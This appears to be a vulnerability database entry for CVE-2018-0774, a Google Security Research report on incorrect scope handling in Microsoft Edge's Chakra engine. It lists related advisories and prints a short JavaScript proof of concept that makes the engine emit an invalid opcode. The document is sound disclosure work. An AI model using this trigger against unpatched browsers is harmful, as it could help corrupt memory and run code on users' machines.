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Microsoft Edge Chakra Incorrect Scope Handling
🗓️ 17 Jan 2018 00:00:00Reported by Google Security ResearchType 
packetstorm🔗 packetstormsecurity.com👁 34 Views
| Reporter | Title | Published | Views | Family All 39 |
|---|---|---|---|---|
 | Microsoft Edge Chakra - Incorrect Scope Handling Exploit | 18 Jan 201800:00 | – | zdt |
 | The vulnerability of the JavaScript script handler ChakraCore in the Microsoft Edge browser allows a hacker to execute arbitrary code. | 21 Feb 201800:00 | – | bdu_fstec |
 | CVE-2018-0774 | 17 Jan 201800:00 | – | circl |
 | Microsoft Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2018-00510) | 5 Jan 201800:00 | – | cnvd |
 | Microsoft Edge Scripting Engine Memory Corruption (CVE-2018-0774) | 4 Jan 201800:00 | – | checkpoint_advisories |
 | CVE-2018-0774 | 4 Jan 201814:00 | – | cve |
 | CVE-2018-0774 | 4 Jan 201814:00 | – | cvelist |
 | January 3, 2018—KB4056892 (OS Build 16299.192) | 9 Jan 201808:00 | – | mskb |
 | KLA11166 Multiple vunlerabilities in Microsoft Browsers | 3 Jan 201800:00 | – | kaspersky |
 | Scripting Engine Memory Corruption Vulnerability | 3 Jan 201808:00 | – | mscve |
10
`Microsoft Edge: Chakra: Incorrect scope handling
CVE-2018-0774
PoC:
(function func(arg = function () {
print(func); // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
print(func);
function func() {
}
})();
Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt
`
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17 Jan 2018 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.73993